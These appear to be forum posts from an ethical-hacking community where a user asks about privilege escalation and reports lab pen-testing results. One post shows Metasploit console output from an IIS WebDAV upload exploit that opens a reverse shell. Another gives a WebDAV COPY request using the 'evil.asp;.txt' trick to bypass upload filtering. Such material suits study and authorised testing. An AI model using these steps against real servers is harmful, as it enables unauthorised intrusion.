|
EH-Net
|
|
May 22, 2013, 12:35:46 PM
|
|
605
|
Ethical Hacking Discussions and Related Certifications / Network Pen Testing / Privilege excalation
|
on: August 20, 2010, 08:38:59 AM
|
|
Once you have a shell with low privileges on a box, how do you get admin/system/root privileges?
I am looking for some advice on privilege escalation techniques on both Windows and Linux. I know it depends on a lot of factor, like remote or local, type of os, service packs, etc. But I am looking more at how to find the solution.
Also, I know that if you use the Metasploit framework, Core Impact, etc, it gets pretty easy. But I want to do it manually.
I know on Windows, we could use the at command. But what if it doesn't work?
Anyway, I have been on google for a while now and I find it difficult to find good explanations, examples, tutorials or "how to".
The only solution that I know right now is to go on milw0rm, exploit-db.com, etc, find an exploit, compile it and use it. Is there any other "tricks"?
Thanks
|
|
|
|
|
610
|
Ethical Hacking Discussions and Related Certifications / Web Applications / Re: HTTP header: PUT, DELETE, etc
|
on: August 19, 2010, 01:13:25 PM
|
It worked!!! The Metasploit exploit iis_webdav_upload_asp did the trick: msf exploit(iis_webdav_upload_asp) > exploit
[*] Started reverse handler on 192.168.1.100:4444 [*] Uploading 612333 bytes to /metasploit161123510.txt... [*] Got a 100 response, trying to read again [*] Moving /metasploit161123510.txt to /metasploit161123510.asp... [*] Executing /metasploit161123510.asp... [*] Deleting /metasploit161123510.asp, this doesn't always work... [*] Sending stage (240 bytes) to 192.168.1.199 [*] Command shell session 1 opened (192.168.1.100:4444 -> 192.168.1.199:3409) at Thu Aug 19 14:11:43 -0400 2010
Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>

|
|
|
|
|
611
|
Ethical Hacking Discussions and Related Certifications / Web Applications / Re: HTTP header: PUT, DELETE, etc
|
on: August 19, 2010, 01:02:56 PM
|
Great reading! If you try to upload an .asp you'll get a 403 forbidden or if you try to COPY/MOVE a .txt to .asp you'll get a forbidden. :-( This is exactly my problem. But: Thankfully there is a "feature" of 2k3 that allows you to upload evil.asp;.txt and that will bypass the filter. I was all excited, but the server doesn't seem to be running this version of Windows (nmap -O couldn't pin point the OS...) I tried: COPY /test.txt HTTP/1.1
Host: 192.168.1.199
Destination: http://192.168.1.199/test.asp;.txt I found other things on the server, so I will poke at them for a while. Thanks guys
|
|
|
|
|
Loading...
|